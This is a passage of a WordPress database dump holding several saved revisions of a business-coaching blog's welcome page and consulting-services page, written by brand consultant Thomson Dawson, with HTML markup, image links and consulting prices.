(3005, 2, '2015-10-08 12:40:23', '2015-10-08 19:40:23', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/ABOUT-Lead-WHC.jpg"><img class="alignnone size-full wp-image-3004" src="http://whc.fbdev.org/wp-content/uploads/2009/05/ABOUT-Lead-WHC.jpg" alt="About the White Hot Center" width="680" height="378" /></a></h2>\r\n<h2>Inspiration, guidance and creativity for entrepreneurs and small business owners who want more impact, influence and income.</h2>\r\nI’m delighted you have found your way here to the White Hot Center. If you’re an early stage entrepreneur, or a successful small business owner, and you’re seeking inspiration to take your business (and your whole life experience) to the next level, you’ve come to the right place. It’s my pleasure to welcome you!\r\n\r\nMy purpose here is to inspire you to greater clarity and confidence in elevating the quality of your presence in the marketplace, enabling you to attract greater opportunity serving higher value customers and clients and making your competition irrelevant. Our conversation here is centered in my passion to inspire, guide and advise you to focus on your best opportunities, innovate strategies to master both your inner game (innovation and creative thinking), and your outer game (the quality of your presence in the marketplace) in four strategic disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness to build the right team, and your contributions to the marketplace.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction beyond money-making.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design and develop your value proposition, innovate products and services that are highly valued by your customers.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through strategic brand development, marketing communications, sales and business development strategies that position your business as the “one and only” in the minds of the best customers and clients, elevating your business from the slush pile of competitors.\r\n\r\nLike you, I’m fully committed to bringing more value to my clients. After nearly 30 years of business transformation and creative consulting with hundreds of successful companies, I’ve learned to appreciate the attributes necessary to grow a beloved business to its next level. The White Hot Center is the expression of my passion for sharing insights and ideas on personal and professional growth, leadership, value creation, innovation, brand strategy and marketing, business development and customer engagement– topics of significant importance to those entrepreneurs creating amazing value monopolies.\r\n\r\nI look forward to you sharing your insights by your comments!\r\n\r\nTo your inspired success,\r\n\r\nThomson Dawson\r\nStrategic Brand Development\r\nBusiness Transformation Consultant\r\n<a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\n&nbsp;\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'closed', 'closed', '', '172-revision-v1', '', '', '2015-10-08 12:40:23', '2015-10-08 19:40:23', '', 172, 'http://whc.fbdev.org/2015/10/172-revision-v1/', 0, 'revision', '', 0),
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(2315, 2, '2013-05-28 14:23:27', '2013-05-28 21:23:27', '<h2><img class="alignnone size-full wp-image-2298" title="Thomson Dawson Business Transformation Consultant" src="http://whc.fbdev.org/wp-content/uploads/2009/05/whc.thomson-5.jpg" alt="" width="495" height="306" /></h2>\r\n<h1><span style="color: #808080;">Inspiration, innovation, clarity and confidence for creative entrepreneurs and solo professionals at the early stages of their business success.</span></h1>\r\n<h2>Nothing is more exciting and rewarding than following a compelling vision for a bigger future, and turning possibilities into achievement.<strong></strong> <strong>This is where I write, podcast, speak and teach about the process of creating bigger futures–transforming a formless idea within your mind into something highly valued by your clients.</strong> If you are seeking inspiration, guidance and advise on making a quantum leap in your business success, I''m confident you''re going to really like what you find here!</h2>\r\nFirst off, the "first principles" that guide the thinking and discussion here are detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto.</a> Before you browse around the site, check that out first. From there, you’ll know if you’re in the right place or not.\r\n\r\nSuccess means different things and takes many forms for each of us. Whatever metrics you use to define your own personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nIt’s my fundamental belief success in life begins with passion and a commitment to pursue a big idea that burns white-hot and deep within you. If you have a burning desire, allow yourself to trust it and then get on with the business of bringing it into the world. This requires you get comfortable living on the border of what''s known and unknown. Out on the edge is where you''ll find your best opportunities to create more impact, influence and income! It''s no fun in crawliing your way to the middle!\r\n<h2>I’m fascinated with the creative process of bringing value to the world, and the discipline it requires to persevere toward realizing big ideas no matter what.</h2>\r\nAnd nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human being whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you with ideas and inspiration is a labor of love for me!\r\n\r\nMy purpose here is to share what I have learned about life success from nearly three successful decades of being a parent, entrepreneur, marketing, brand strategy, communications and creative consultant. I''ve served executives and their teams in global companies and start-up entrepreneurs alike. My entire professional life has been engaged in helping successsful business people innovate new ideas, strategies and tactics to create a bigger future. Nothing brings me greater joy and fulfillment than sharing my knowledge, creativity and expertise to help you create the success you desire.\r\n\r\nThroughout the blog, you''ll find lots of articles presenting strategies and tactics for personal growth, professional leadership, lifestyle design, value creation and business development methods for creating greater demand for your products and services. Oh yeah–making lots of money doing what really matters to you is an important part of our conversation here!\r\n\r\nIf you find the ideas presented here useful to your on-going business development efforts, please <a href="http://whc.fbdev.org/" target="_blank">subscribe to receive the White Hot Center </a>posts and podcasts directly in your email. Your free subscription is a reward of trust. I''ll do my best to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts in the comments section. And please share these ideas with your fellow colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2013-05-28 14:23:27', '2013-05-28 21:23:27', '', 172, 'http://www.whitehotcenter.com/2013/05/172-revision-151/', 0, 'revision', '', 0),
(1079, 2, '2010-09-30 18:42:56', '2010-10-01 01:42:56', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #ff6600;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in taking a quantum leap in your creative business success, and in your whole life experience. Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span></h2>\r\n<h2>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</h2>\r\nFor many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and hot within you!  My passion is exploring and experimenting with ideas that help creative entrepreneurs and solo professionals expand their thinking to create a life of significance and contribution doing what they love powered by the financial success of their business.\r\n\r\nMy mission is to inspire and guide you toward more clarity and confidence to identify and pursue your best opportunities. Many creative professionals and entrepreneurs I have worked with agree desire to experience these benchmarks through the venue of their business:\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of others.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of effective marketing and business development strategies to grow your business success doing exactly what you love for clients who love you.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of strategies and tactics to competition-proof your business with the right clients who value your contribution to them, and as a result, are delighted to show their appreciation by paying the premium fees your unique talents and expertise commands and deserves.</span></h2>\r\n<h2><span style="color: #ff6600;">lifestyle and personal effectiveness mastery to rise above the daily complexities your business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">having more free time and money to expand your contribution to your clients and colleagues, not to mention your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">a life of greater joy, contribution, meaning and significance.</span></h2>\r\n<strong>About Me</strong>\r\nFor over 25 years, I''ve been a creative entrepreneur, designer, creative director and brand strategy consultant working with global organizations and small start-ups alike. My expertise helps them discover their unique voice, define their organizational identity, and create more compelling innovations and value propositions to their customers. Using my knowledge, expertise and insight, I guide creative entrepreneurs at the crossroads of personal and professional growth, lifestyle design, value creation and demand generation. You can learn about my professional background in consumer product marketing and brand innovation here: <a href="http://www.pullinc.com" target="_blank">www.pullinc.com</a>\r\n<h2><span style="color: #808080;">It''s my intention to have the White Hot Center be a useful source of inspiration and innovation to help you tap into the power of your creative source– your own white hot center!</span></h2>\r\nI''m confident you would agree, nothing is more satisfying and fulfilling than experiencing possibilities become achievement.  Your inspired thought and disciplined actions will make this happen. Creating meaningful success is a life-long process of never ending growth and expansion. When you are burning bright, you delight in continuously asking yourself–how far can I take my ideas?\r\n\r\nSo if you find the information here to be useful, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies for your personal and business growth. Of course, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2010-09-30 18:42:56', '2010-10-01 01:42:56', '', 172, 'http://www.whitehotcenter.com/2010/09/30/172-revision-80/', 0, 'revision', '', 0),
(972, 2, '2010-07-01 14:29:43', '2010-07-01 21:29:43', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2></h2>\r\n<h2>I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in taking a quantum leap in your creative business success, and in your whole life experience. Whatever metrics you use to define your success, you might relate to this simple idea from Bob Dylan:</h2>\r\n<h2>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</h2>\r\nFor many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and hot within you!  My passion is exploring and experimenting with ideas that help creative entrepreneurs and solo professionals expand their thinking to create a life of significance and contribution doing what they love powered by the financial success of their business. My mission is to inspire and guide you toward more clarity and confidence to identify and pursue your best opportunities.\r\n\r\nMany creative professionals and entrepreneurs I have worked with agree these core benchmarks are worthwhile pursuing with unbridled passion:\r\n<h2>freedom to do the "work" that matters most to you and serves the good of others.</h2>\r\n<h2>mastery of effective marketing and business development strategies to grow your business success doing exactly what you love for clients who love you.</h2>\r\n<h2>developing strategies and tactics to competition-proof your business with the right clients who value your contribution to them, and as a result, are delighted to show their appreciation by paying the premium fees your unique talents and expertise commands and deserves.</h2>\r\n<h2>lifestyle and personal effectiveness mastery to rise above the daily complexities your business growth creates.</h2>\r\n<h2>creating more free time and money to design methods to expand your contribution to your clients and colleagues, not to mention your family and friends, and to pursue your life''s other creative passions.</h2>\r\n<h2>creating a life of greater meaning and significance through your unique gifts and contributions to the world.</h2>\r\n<strong>About Me</strong>\r\n\r\nFor over 25 years, I''ve been a creative entrepreneur, designer, creative director and brand strategy consultant working with global organizations and small start-ups alike. My expertise helps them discover their unique voice, define their organizational identity, and create more compelling innovations and value propositions to their customers. Using my knowledge, expertise and insight, I guide creative entrepreneurs at the crossroads of personal and professional growth, lifestyle design, value creation and demand generation. You can learn about my professional background in consumer product marketing and brand innovation here: <a href="http://www.pullinc.com" target="_blank">www.pullinc.com</a>\r\n<h2><span style="color: #808080;">It''s my intention to have the White Hot Center be a useful source of inspiration and innovation to help you tap into the power of your creative source– your own white hot center!</span></h2>\r\nI''m confident you would agree, nothing is more satisfying and fulfilling than experiencing possibilities become achievement.  Your inspired thought and disciplined actions will make this happen. Creating meaningful success is a life-long process of never ending growth and expansion. When you are burning bright, you delight in continuously asking yourself–how far can I take my ideas?\r\n\r\nSo if you find the information here to be useful, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies for your personal and business growth. Of course, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2010-07-01 14:29:43', '2010-07-01 21:29:43', '', 172, 'http://www.whitehotcenter.com/2010/07/01/172-revision-71/', 0, 'revision', '', 0),
(794, 2, '2010-04-24 17:30:03', '2010-04-25 00:30:03', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;"> Success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, at first, is a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> There are two guiding principles that form the bedrock of my point of view on creating a life of significance, freedom and meaning through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese principals stand evergreen, and form the essence of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are, and the legacy of your contribution to the world. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your business– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n\r\n<strong>WhiteHotCenter Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #ff6600;">I inspire and guide creative entrepreneurs, small business leaders and solo professionals to discover and define the white hot center of their competitive advantage, then provide tools to best leverage that advantage for greater growth and success.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong>White Hot Center Consulting provides guidance and creativity to help you discover, define and pursue your best opportunities to create value in the marketplace</strong></span></span><strong><span style="color: #ff6600;"><span style="color: #333333;">. Many of my clients are a seeking improvements in one or all of these areas :</span></span></strong>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong> personal and professional growth, (the inner game)\r\nlifestyle design, ( methods and tactics for creating what you want)</strong><strong>\r\nvalue creation ( innovation  / product development )</strong><strong>\r\ndemand generation, ( targeting, positioning, branding, marketing, sales communications)</strong></span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;">For over 25 years, I have been a marketing, brand strategy and creative consultant to global companies and venture start-ups alike. My clients have included Acura, Brunswick, Coleman, Energizer, Food Lion, Herman Miller, Hewlett-Packard, Honda, La Z Boy, and Volkswagan USA. I have also worked with dozens of mid-size companies and venture-funded start-ups in diverse industries. I''m delighted to offer my nearly three decades of successful entrepreneurial and business building expertise to creative entrepreneurs and solo professionals who seek insight, inspiration and tools to take their business and their entire life to the next level.  I offer several levels of consulting engagements:<strong>\r\n</strong></span></span>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting</h2>\r\nThis engagement is for mid-to-larger-scale enterprises with revenue of $10 million +. Typically this consulting package involves guidance to help business leaders and their teams gain more clarity and velocity to pursue their greatest opportunities to create new value for their customers. We collaborate on strategic issues of mission, values, positioning, brand strategy, differentiation, corporate and brand identity, and marketing communications to internal and external audiences. The business imperatives that drive this level of engagement typically involve new product introductions, growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is typically a 3-4 month engagement.\r\n<span style="color: #ff6600;"> </span></span><span style="color: #ff6600;"> </span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for small business owners, creative entrepreneurs and solo professionals who have been in business for at least 3 years with sales revenues of less than $500,000.  Many entrepreneurs at this level experience greater complexity getting their business to the $1million+ level. If this describes your current circumstances, we can provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the discipline necessary to provide more value to customers and clients, at the same time, creating more freedom and joy for you. You''ll gain deeper insight and clarity on the strategic issues facing your business and personal growth. You''ll create a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. Together we''ll outline tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$10,000-20,000 USD This package is individually tailored and scaled to your particular needs, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm session designed to ignite dreamers and schemers , start-up entrepreneurs, professionals and artists to gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required to get you there.. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that are recorded and sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h2><span style="color: #ff6600;"><span style="color: #333333;"><strong>How to start the burn!</strong></span>\r\nSend an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to create greater value!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-04-24 17:30:03', '2010-04-25 00:30:03', '', 138, 'http://www.whitehotcenter.com/2010/04/24/138-revision-71/', 0, 'revision', '', 0);
INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_category`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(793, 2, '2010-05-02 17:40:25', '2010-05-03 00:40:25', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a>\r\n<h2><span style="color: #ff6600;">I<span style="color: #ff6600;">’m very pleased that you have found your way to the WhiteHotCenter. My purpose here is to inspire you into a frame of mind that will support you in taking your business and your life to the next level.</span></span><span style="color: #ff6600;"> Whatever metrics you use to define your success, you might relate to this simple idea from Bob Dylan: </span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #333333;">"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</span><strong> </strong></span></h2>\r\n<span style="color: #696969;"> </span>\r\n\r\n<span style="color: #696969;">For many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and hot within you!  My passion is exploring and experimenting with ideas that support entrepreneurs, small business leaders and solo professionals to create a life of significance and contribution doing what they love powered by the venue of their business. Here are some success benchmarks many entrepreneurs I have worked with agree are worthwhile pursuing:</span>\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of others.</span></h2>\r\n<h2><span style="color: #ff6600;">competition-proof your business with customers who value your contribution to them, and as a result, are delighted to show their appreciation by paying the premium fees your unique talent and expertise commands and deserves.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery over the daily complexities your business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">lifestyle mastery and personal effectiveness to create more free time and money to imagine ways to expand your contribution to the world, not to mention your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery  of effective marketing and business development strategies to grow your  business doing what you love with clients who love you.</span></h2>\r\n<h2><span style="color: #ff6600;">creating a life of greater meaning and significance through your unique contributions to the world.</span></h2>\r\n<strong>A</strong><strong>bout Me</strong>\r\nFor over 25 years, I''ve consulted  executive management, business leaders and their teams in large organizations discover their unique voice, define their personal and organizational identity, and create more compelling value propositions to their customers.   I want to use my knowledge and insight to help entrepreneurs in personal and professional growth, lifestyle design, value creation and demand generation that will inspire them to gain more clarity and confidence to pursue their best opportunities.  You can learn about my professional background and expertise in consumer product marketing and brand innovation here: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n<h2><span style="color: #ff6600;">It''s my intention to have the WhiteHotCenter be a useful source of inspiration and innovation to help you tap into the power of your creative source– your own white hot center!</span></h2>\r\nIt''s my belief that everything we experience in life begins within us.  I''m confident you would agree, nothing is more satisfying and fulfilling than experiencing possibility become achievement.  Inspired thought and disciplined action in equal measure make this happen. It is a life-long process of never ending growth and expansion. If you find the information you find here to be useful, perhaps you''ll subscribe to receive the posts directly to your email in-box. Your free subscription to the White Hot Center blog is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies that are immediately useful to your business growth. Of course, your comments will only elevate and enrich the conversation for all of  us. I look forward to you sharing your thoughts in the  comments section. I wish you inspired success in your creative business and in every area of your life. Thank you for visiting!\r\n\r\ninspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2010-05-02 17:40:25', '2010-05-03 00:40:25', '', 172, 'http://www.whitehotcenter.com/2010/05/02/172-revision-67/', 0, 'revision', '', 0),
(706, 2, '2010-03-11 11:41:19', '2010-03-11 18:41:19', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a>\r\n<h2><span style="color: #ff6600;">I’m very pleased that you have found your way to the WhiteHotCenter. My purpose here is to inspire you into a frame of mind that will support you in taking your business and your life to the next level.</span></h2>\r\n<h2><span style="color: #696969;"> </span></h2>\r\n<span style="color: #696969;">Success in business and in life is a process, not an event. It''s an on-going, always growing life enhancing activity. Whatever metrics you use to determine your success, the most useful definition of success I''ve heard so far comes from Bob Dylan: </span>\r\n<h2><span style="color: #ff6600;">"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".<strong> </strong></span></h2>\r\n<span style="color: #696969;"> </span>\r\n\r\n<span style="color: #696969;">I love the simplicity of that!  For many people, myself included, success means freedom to pursue whatever is your heart''s desire burning bright and hot within you. With that in mind, here are some benchmarks many people I have worked with agree are worthwhile pursuing with unbridled passion:</span>\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of others.</span></h2>\r\n<h2><span style="color: #ff6600;">competition-proof your business with customers who value your contribution to them, and as a result, are delighted to show their appreciation by paying the higher fees your unique talent and expertise commands and deserves.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery over the daily complexities your business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of effective marketing and business development strategies to grow your business doing what you love with clients who love you.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">creating a life of significance through your unique contributions to the world.</span></h2>\r\n<strong>A</strong><strong>bout Me</strong>\r\nFor over 25 years, I''ve helped business people in organizations large and small, discover and define their unique voice, brand identity and value proposition to their customers.  As a result of this experience, I wanted to share ideas and a point of view about business and personal growth that will inspire you and give you more clarity and confidence to pursue your best opportunities.  You can learn about my professional background and expertise in product and brand innovation here: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n<h2><span style="color: #ff6600;">It is my intention this blog will serve as a resource for inspiration and innovation to help you tap into the power of the creative source– your own white hot center!</span></h2>\r\nI’ll be sharing my best thinking and expertise, along with the expertise and point of view of other successful people you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section.\r\n\r\nAfter you have explored the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email in-box. Your free subscription to the White Hot Center blog is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey. I wish you continued success in your creative business and in every area of your life. Thank you for visiting!\r\n\r\nAll the best,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2010-03-11 11:41:19', '2010-03-11 18:41:19', '', 172, 'http://www.whitehotcenter.com/2010/03/11/172-revision-58/', 0, 'revision', '', 0),
(626, 2, '2009-08-26 10:51:05', '2009-08-26 17:51:05', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a>\r\n<h2><span style="color: #ff6600;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire.</span></h2>\r\n<h2><span style="color: #696969;"> </span></h2>\r\n<span style="color: #696969;">Of course each definition of success is as different and unique as our own DNA. Success in business and in life is a process, not an event. Whatever metrics you use to determine your success, the best definition of success I''ve heard so far comes from Bob Dylan: </span>\r\n<h2><span style="color: #ff6600;">"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".<strong> </strong></span></h2>\r\n<span style="color: #696969;"> </span>\r\n<h2><span style="color: #696969;">I love the simplicity of that!  For many people, myself included, success means freedom to pursue whatever is your heart''s desire burning bright and hot within you. </span></h2>\r\n<span style="color: #696969;">When I began to have greater awareness and connection to what really mattered to me in business and life success, I discovered some common ground with other creative business people who were searching, like me, for tools to help guide their journey. With that in mind, here are some success benchmarks many people I have worked with agree are worthwhile pursuing with unbridled passion:</span>\r\n<h2><span style="color: #ff6600;"><strong>freedom to do the "work" that matters most to you</strong><strong> and serves others.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a profitable business comprised of customers who value your contribution to them, and are delighted to show their appreciation by paying the higher fees your talent and expertise commands and deserves.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery over the daily complexities your business success creates.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery of effective marketing and business development strategies to grow your business doing what you love with clients who love you.\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your life''s other creative passions.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a life of significance through your unique contributions to the world.</strong></span></h2>\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\n<strong>About Me</strong>\r\n\r\nFor over 25 years, through my communications consultancy, I''ve helped businesses large and small, to discover and define their unique voice, brand identity and value proposition to their customers. I am a designer, writer, creative director, and brand marketing consultant to global enterprises and small start-ups alike. You can learn about my expertise in corporate identity and brand consulting business here: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n<h2><strong><span style="color: #ff6600;">It is my intention the White Hot Center serve as a resource for inspiration and innovation to help you tap into the power of the creative source– your own white hot center!</span></strong></h2>\r\nI am totally committed to helping you master timeless principles for creative business and life success and sharing inspirational ideas and insight with you here on the WHC blog. I want to keep you inspired to create the business and life success you really want, doing whatever brings you joy and fulfillment.  I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other successful people you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward 